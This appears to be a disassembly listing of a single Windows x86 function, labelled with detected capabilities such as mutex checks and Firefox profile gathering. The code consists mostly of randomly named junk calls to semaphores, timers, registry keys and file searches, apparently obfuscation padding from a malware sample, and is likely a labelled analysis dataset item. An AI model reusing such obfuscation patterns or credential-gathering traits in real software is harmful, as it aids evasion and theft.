Function at 0x4053c8
Capabilities:
Check mutex on windows
Gather firefox profile information
Print debug messages
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf64
push ebx
push esi
push edi
push str.SMPHR_liiv75d5
push 1
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40540b
push str.2pyogykw
push str.eif9rld8
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
jmp 0x40540d
call ebx
push str.WTMR_n76sfbch
push 1
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov dword [0x4152d8], 0x411d5c
call esi
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.tjhvurkfj
mov dword [ebp - 8], eax
call edi
mov eax, dword [ebp - 8]
test eax, eax
je 0x40544c
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.tdgup7lln
call edi
mov ecx, 0x411d8c
call fcn.0040169e
push str.WTMR_lncan61l
push 1
push 0
mov dword [0x41550c], eax
call esi
mov esi, eax
call ebx
test esi, esi
je 0x405488
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [ebp - 4]
mov edi, 0x20019
push eax
push edi
push 0
push str.regxsbl1fgu
jmp 0x405499
lea eax, [ebp - 4]
mov edi, 0x20019
push eax
push edi
push 0
push str.reg47bij0cs
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, 0x80000001
push ebx
call esi
lea eax, [ebp - 4]
mov dword [0x4154ec], 0x411db8
push eax
push edi
push 0
push str.reg7ysou7hm
push ebx
call esi
push str.ev_n7bcaroz
push 0
push 1
push 0
mov dword [0x4152bc], 0x411dcc
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor eax, eax
push eax
push 0xdf0
push eax
push 4
push eax
push 0xffffffffffffffff
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.MTX6o182o48
push 0
push 0
mov dword [0x41557c], 0x411de0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 8], eax
test eax, eax
je 0x40554e
push str.in5mdpil
push str.5qmcplzs
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.t7u6m37i2
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x405569
push str.t9qaa19z2
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.r92hcgn4
push str.f0zixdfp
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
xor eax, eax
mov dword [0x4154dc], 0x411e3c
push eax
push 0x7ec
push eax
push 4
push eax
push 0xffffffffffffffff
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x10]
xor esi, esi
push eax
push edi
push esi
push str.regd63mdzmj
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.WTMR_8vcmh3kj
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.b9drcb71
push str.on3zwayu
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.SMPHR_75hjx6m3
push 1
push esi
push esi
mov dword [0x4154f4], 0x411e88
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x4055f7
push str.tonems59g
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor eax, eax
mov dword [0x41531c], 0x411ebc
push eax
push 0xe9f
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push str.tpqov08qx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.MTXym2fm19f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x40564d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x40565d
push str.bd280jf6
push str.o03p6f8x
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.WTMR_1zdd1qsb
push 1
push 0
mov dword [0x4155a4], 0x411ef8
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x405698
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 4]
push eax
push edi
push 0
push str.reg481yju35
push ebx
call esi
jmp 0x4056ae
push str.c483g5hp
push str.dpk12xw8
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor eax, eax
mov dword [0x41530c], 0x411f3c
push eax
push 0x64c
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.k2jahrr0
push str.chr587rr
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.SMPHR_m7v4c471
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push 0xeff
push 0
mov dword [0x4154c8], 0x411f70
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
push eax
push 0x2bc
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push str.WTMR_irv4vc6c
push 1
push 0
mov dword [0x4152b0], 0x411f80
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x405757
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
jmp 0x40575d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x415538], str._t__Display_size:__dx_d_n
mov dword [ebp - 8], 4
lea eax, [ebp - 4]
push eax
push edi
push 0
push str.regpunf9nsm
push ebx
call esi
sub dword [ebp - 8], 1
jne 0x40576e
push str.ev_eokfwkk9
xor esi, esi
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push str.SMPHR_4v5bktdw
push 1
push esi
push esi
mov dword [0x4154f8], 0x411fe8
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.r22qyxap
push str.hrohr8k1
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x4057db
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1a0]
mov dword [0x415564], 0x412014
push eax
push str.s_ep3w5kzq
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 9
pop ebx
push str.tcyu0nuf6
call esi
sub ebx, 1
jne 0x405807
push str.XMLx5prhdf5
push 1
push ebx
push ebx
mov dword [0x4152f4], 0x412044
mov dword [0x4153c8], 0x41205c
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push ebx
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea eax, [ebp - 0x2e0]
push eax
push str.s_aphbbr4r
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 4
mov dword [0x415500], 0x41208c
mov ebx, 0x80000001
pop edi
push str.tbbi3ocqm
call esi
sub edi, 1
jne 0x40586b
push str.MTXjldeknwq
xor esi, esi
mov dword [0x415384], 0x4120ac
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, 0x20019
test eax, eax
je 0x4058b0
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.fz3d9xew
push str.wlkv5w83
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.ev_kd502ij8
push esi
push 1
push esi
mov dword [0x415578], 0x4120d4
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov esi, dword [sym.imp.KERNEL32.dll_CreateMutexA]
push str.MTX62vth9yd
push 0
push 0
call esi
mov dword [ebp - 8], eax
test eax, eax
je 0x40590f
lea eax, [ebp - 4]
push eax
push edi
push 0
push str.reglyx2sns6
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x405915
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.MTX1ycpg38n
xor edi, edi
mov dword [0x415430], 0x4120fc
push edi
push edi
call esi
test eax, eax
je 0x405937
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x405948
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.tnm052ime
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.WTMR_t3ozswmh
push 1
push edi
mov dword [0x4154d0], 0x412118
mov dword [0x41535c], 0x41211c
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test esi, esi
je 0x40597f
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
jmp 0x40598a
push str.tzn6jg6ql
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.ev_ksouiix0
push edi
push 1
push edi
mov dword [0x415574], 0x41213c
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov esi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 5
pop edi
push str.ev4o3tiu
push str.jhig2m95
call esi
sub edi, 1
jne 0x4059bc
lea eax, [ebp - 0x420]
mov dword [0x4152ec], 0x412164
push eax
push str.s_nbst8ogx
mov dword [0x41528c], 0x412168
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
push 0xb9d
push edi
push 4
push edi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push str.s0xkayk2
push str.hcid3wcu
call esi
push str.ev_zbbhujfa
push edi
push 1
push edi
mov dword [0x4153f0], 0x412190
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x920
push edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0xa
mov dword [0x41529c], 0x4121a0
mov edi, 0x20019
pop esi
push str.tr6kgzx2u
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
sub esi, 1
jne 0x405a66
push str.WTMR_xxc4d1t0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.ev_rwfg2kzh
push esi
push 1
push esi
mov dword [0x4152b8], 0x4121c0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.WTMR_x81tgx7i
push 1
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.ts6vtnvx4
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.ev_l5mdwl0n
push esi
push 1
push esi
mov dword [0x4154d8], 0x4121f4
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x927
push 0
mov dword [0x415508], 0x412210
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.hsk3a1e6
push str.7nrggj91
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 5
pop esi
lea eax, [ebp - 4]
push eax
push edi
push 0
push str.regzlp81l4m
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
sub esi, 1
jne 0x405b28
push str.ev_c5yyjf6j
push esi
push 1
push esi
mov dword [0x41552c], 0x412244
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0xd91
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.ev_2cm3cn0n
push esi
push 1
push esi
mov dword [0x41549c], 0x412260
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 4]
xor esi, esi
push eax
push edi
push esi
push str.reg3wvj0mxq
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.SMPHR_jggav9eu
push 1
push esi
push esi
mov dword [0x41554c], 0x41227c
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, eax
lea eax, [ebp - 0x14]
push eax
push edi
push 0
push str.regtixzbfck
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
push 1
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call esi
test eax, eax
jne 0x405c0c
lea eax, [ebp - 4]
push eax
push edi
push 0
push str.regh5d9w6x3
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.XMLlalgx1ah
push 1
xor edi, edi
mov dword [0x415474], 0x4122a8
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push edi
push 1
push eax
call esi
push str.tr0642jgf
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov esi, dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.WTMR_hj7wbu9m
push 1
push edi
call esi
push str.ttxi9axxn
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0xa
mov dword [0x4154bc], 0x4122e0
pop edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub edi, 1
jne 0x405c60
push str.WTMR_eudw259b
push 1
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push edi
push 0x9c2
push edi
push 4
push edi
push 0xffffffffffffffff
mov dword [0x415504], 0x412330
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0xd3a
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0x992
push edi
mov dword [0x41547c], 0x412360
call esi
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.XMLexjqoku7
push 1
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.ev_mta53prh
push edi
push 1
push edi
mov dword [0x415520], 0x412388
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.t060l13f
push str.5cm8e25t
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0x402
push edi
mov dword [0x4153b8], 0x4123b8
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
mov edi, 0x20019
lea eax, [ebp - 0x18]
push eax
push edi
push 0
push str.regdqtkcbgl
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.XMLd78tlvbp
push 1
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
lea eax, [ebp - 4]
mov dword [0x415598], 0x4123d8
push eax
push edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.rege69rqz3b
push ebx
call esi
mov dword [0x4154a8], 0x4123ec
push str.t26l8yymd
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.MTXrctmiw4i
push 0
push 0
mov dword [0x415544], 0x412400
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 8], eax
test eax, eax
je 0x405ddd
lea eax, [ebp - 4]
push eax
push edi
push 0
push str.regeejpnhbj
push ebx
call esi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.t5iisk476
jmp 0x405de2
push str.t5g261d2r
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.WTMR_3sgn67cd
push 1
push 0
mov dword [0x4154a0], 0x41243c
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [ebp - 0x1c]
push eax
push edi
push 0
push str.regpygmr2zy
push ebx
call esi
xor eax, eax
push eax
push 0xd3b
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.WTMR_593tn4mf
push 1
push 0
mov dword [0x4154ac], 0x412464
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [ebp - 0x20]
push eax
push edi
push 0
push str.regfldvlajl
push ebx
call esi
push str.MTX5rddkwl6
push 0
push 0
mov dword [0x415490], 0x412488
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 8], eax
test eax, eax
je 0x405e9b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.32sx7ezn
push str.x9ji2hov
jmp 0x405eb0
push str.tykvvnyu1
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.9bby2m12
push str.gu08wia6
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.MTXpg1vhr1w
push 0
push 0
mov dword [0x415278], 0x4124dc
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 8], eax
test eax, eax
je 0x405eec
push str.tnu9edl66
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x405efb
lea eax, [ebp - 4]
push eax
push edi
push 0
push str.regba1hmdsh
push ebx
call esi
lea eax, [ebp - 0x560]
mov dword [0x41558c], 0x41250c
push eax
push str.s_i64pzl4m
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.MTX2mtqo3ie
push 0
push 0
mov dword [0x415340], 0x412548
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 8], eax
test eax, eax
je 0x405f58
lea eax, [ebp - 4]
push eax
push edi
push 0
push str.reghjfm41zh
push ebx
call esi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x405f6e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.plprukxu
push str.4lnk2lw8
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.XMLxdrh5kgg
push 1
push 0
push 0
mov dword [0x41533c], 0x412580
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea eax, [ebp - 0x24]
push eax
push edi
push 0
push str.regvdvem7wh
push ebx
call esi
xor eax, eax
push eax
push 0x5bc
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 7
mov dword [0x4153d0], 0x4125a4
pop esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x405fca
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.WTMR_unevbfbm
push 1
push esi
mov dword [0x415424], 0x4125b0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x406000
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
jmp 0x406006
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.WTMR_52m2eebh
push 1
push esi
mov dword [0x4151c8], 0x4125cc
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x28]
push eax
push edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.regnvawfwx8
push ebx
call esi
mov eax, dword [ebp - 8]
test eax, eax
je 0x406043
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov esi, dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.WTMR_6xif10df
push 1
push 0
mov dword [0x415220], 0x4125fc
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.tlhn9pvm0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.SMPHR_4ph0oq4n
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.tetfrmpro
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.WTMR_uljutt1w
push 1
push 0
mov dword [0x415238], 0x412644
call esi
test eax, eax
je 0x4060b7
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.tyfafccix
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.XML4u88alxu
push 1
push 0
push 0
mov dword [0x415274], 0x412670
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.WTMR_7k54cgkc
push 1
push 0
call esi
mov esi, eax
lea eax, [ebp - 0x2c]
push eax
push edi
push 0
push str.reg37wdmwcg
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [ebp - 0x6a0]
mov dword [0x4151ec], 0x4126a8
push eax
push str.s_cb4h3qhz
mov dword [0x4151c4], 0x4126bc
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.ev_xu6z41rv
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
push 3
mov dword [0x415260], 0x4126ec
pop ebx
call esi
sub ebx, 1
jne 0x40615c
push 7
mov dword [0x4151b4], 0x412704
mov ebx, 0x80000001
pop edi
push str.1ympyj00
push str.98bp32fk
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
sub edi, 1
jne 0x406175
push str.ev_tzqu7amc
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push str.WTMR_w4vihsb6
push 1
push edi
mov dword [0x415224], 0x41273c
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov edi, eax
mov dword [ebp - 8], edi
call esi
test edi, edi
mov edi, 0x20019
je 0x4061d3
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
jmp 0x4061e6
lea eax, [ebp - 4]
push eax
push edi
push 0
push str.rega5w64pqg
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.WTMR_oljcnzdv
push 1
push 0
mov dword [0x41524c], 0x412798
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x30]
push eax
push edi
push 0
push str.regdg5hafdm
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, dword [ebp - 8]
test eax, eax
je 0x406225
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
jmp 0x406235
push str.axukfxdj
push str.dpt8t5j1
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.SMPHR_l0b0s4hf
push 1
push 0
push 0
mov dword [0x4151f8], 0x412820
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x406261
call esi
push str.MTXodwfr8kq
push 0
push 0
mov dword [0x415388], 0x412854
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x406299
push str.2du0e5ff
push str.k85x1uww
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x4062a4
push str.tzax61c32
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.ev_gmg0h9dt
push 0
push 1
push 0
mov dword [0x415378], 0x41288c
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.XMLkd8015ge
push 1
push 0
push 0
mov dword [0x415494], 0x4128a0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.SMPHR_q7zjgdbt
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x406319
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.WTMR_nhgiay4y
push 1
push 0
mov dword [0x41527c], 0x412900
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.xf0jn5zh
push str.yoy7gasr
mov dword [ebp - 8], eax
call esi
mov eax, dword [ebp - 8]
test eax, eax
je 0x406355
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.WTMR_kic2atac
push 1
push 0
mov dword [0x415300], 0x412958
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.r6ceuzn3
push str.mhf9dno6
call esi
push str.ev_jjt0e1lf
xor esi, esi
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x66d
push esi
mov dword [0x4152c0], 0x41299c
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x34]
push eax
push edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.reg7rz82zlk
push ebx
call esi
push str.MTXuw8lcdpm
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 8], eax
test eax, eax
je 0x4063f8
lea eax, [ebp - 4]
push eax
push edi
push 0
push str.reg5bvpl389
push ebx
call esi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.ev_olbae8v7
push 0
push 1
push 0
mov dword [0x415454], 0x4129cc
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x5e9
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.SMPHR_6o0mwj20
push 1
push esi
push esi
mov dword [0x4153a4], 0x4129e4
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x4154b8], 0x412a08
call esi
xor eax, eax
